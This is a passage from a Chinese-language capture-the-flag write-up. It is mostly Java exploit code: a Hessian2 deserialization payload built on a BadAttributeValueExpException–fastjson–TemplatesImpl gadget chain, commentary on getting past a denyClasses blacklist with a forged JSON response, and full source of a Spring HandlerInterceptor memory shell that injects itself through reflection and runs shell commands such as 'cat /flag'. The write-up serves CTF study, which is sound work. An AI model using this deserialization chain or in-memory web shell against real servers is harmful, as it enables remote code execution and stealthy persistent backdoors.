jsonObject.put("Pupi1",ctx);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(baos);
baos.write(67);
out.getSerializerFactory().setAllowNonSerializable(true);
out.writeObject(jsonObject);
out.flushBuffer();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
//input.readObject();
String ret = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println(ret);
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
//Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
//writeReplaceMethod.setAccessible(true);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
这里解释一下为什么要清空序列
如果不清空序列 denyClasses可能会存在之前的黑名单,所以需要清空一下,然后再传马
这里拦截器我觉得拦截了,就会直接返回而不会进入真正的路由,不然咋叫拦截嘞
这里伪造了一个json请求
上面的code是二个json数据,第一个code的base64数据是 一个 badattribute–>fastjson—>templates的马
下面的base64数据是一个随机的无所谓,仅仅是为了清空数组序列
然后把code返回的message进行base64解码
{"code":"200","message":"client 678ef871f5cc is online"}
第一次的base64解码时一个为了清空序列的没啥用,到了第二次访问/client/status,这时候就会msg为base64的templates马,
然后在这里直接反序列化就行了,在server的服务器所以会命令执行server服务器端的。
Templates的后段内存马
直接读flag说牛!!!
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.List;
import java.util.Scanner;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class Memshell2 extends AbstractTranslet implements HandlerInterceptor {
public static int nums = 1;
static {
System.out.println("staart");
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field field = null;
try {
field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
field.setAccessible(true);
List<HandlerInterceptor> adaptInterceptors = null;
try {
adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
Memshell2 evilInterceptor = new Memshell2();
adaptInterceptors.add(evilInterceptor);
System.out.println("ok");
}
public static String replaceBlank(String str) {
String dest = "";
if (str != null) {
Pattern p = Pattern.compile("\\s*|\t|\r|\n");
Matcher m = p.matcher(str);
dest = m.replaceAll("");
}
return dest;
}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code;
// if(nums == 1){
// Runtime.getRuntime().exec("grep -rn --exclude-dir={proc,sys} flag{* / > /tmp/1.txt");
// }
InputStream in = Runtime.getRuntime().exec("cat /flag").getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
System.out.println(output);
code = "{\"code\":\"200\",\"message\":\""+ Base64.getEncoder().encodeToString(output.getBytes())+"\"}";
if (request.getRequestURI().equals("/status")) {
String result = new Scanner(code).useDelimiter("\\A").next();
response.addHeader("Content-Type","application/json;charset=UTF-8");
response.getWriter().write(result);
response.getWriter().flush();
response.getWriter().close();
nums++;
return false;
}
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。